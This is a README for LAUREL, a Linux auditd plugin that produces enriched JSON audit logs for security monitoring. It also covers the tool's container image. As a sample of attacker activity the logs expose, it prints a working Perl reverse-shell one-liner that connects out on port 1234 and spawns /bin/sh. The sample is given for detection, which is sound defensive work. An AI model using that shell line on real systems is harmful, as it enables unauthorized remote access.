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Linux Audit – Usable, Robust, Easy Logging

Build Status

LAUREL is an event post-processing plugin for auditd(8) that generates useful, enriched JSON-based audit logs suitable for modern security monitoring setups.

Documentation corresponding to the latest stable release can be found here.


TLDR: Instead of audit events that look like this…

type=EXECVE msg=audit(1626611363.720:348501): argc=3 a0="perl" a1="-e" a2=75736520536F636B65743B24693D2231302E302E302E31223B24703D313233343B736F636B65742…

LAUREL turns them into JSON logs where the mess that attackers/penetration testers/red teamers are trying to make becomes apparent at first glance:

{ … "EXECVE":{ "argc": 3,"ARGV": ["perl", "-e", "use Socket;$i=\"\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"]}, …}

This happens at the source because LAUREL runs on the host where the audit events are generated. Events are enriched with useful information about the parent process (ppid):



Configuration and operational details are described in the laurel(8) manual page. Details about the log format and rationales can be found in the laurel-about(7) manual page.

The LAUREL installation instructions contain instructions on how to build LARUEL from source and how to install and configure it.

We developed LAUREL because we were not content with feature sets and performance characteristics of existing projects and products. Please refer to the Performance document for details.

Container Image

From v0.5.2 on laurel is able to connect to a socket for forwarded auditd messages and can be executed in a container this way. A basic container image is published in this repository to with tags latest and the respective version tag.

The provided container image build includes default labels via docker buildx from the pipeline. These labels are not included in the provided Dockerfile but are considered good practice. If you use a custom build with another tooling, consider adding the default labels to the Dockerfile.

The provided container image contains the default configuration, with one modification: Laurel connects to /var/run/audispd_events (the default path specified for the builtin_af_unix auditd(8) plug-in. The plug-in needs to be enabled and the socket must be accessible from within the container. The rest of the configuration file should be customized as needed before deploying.

See also


GNU General Public License, version 3


The logo was created by Birgit Meyer <>.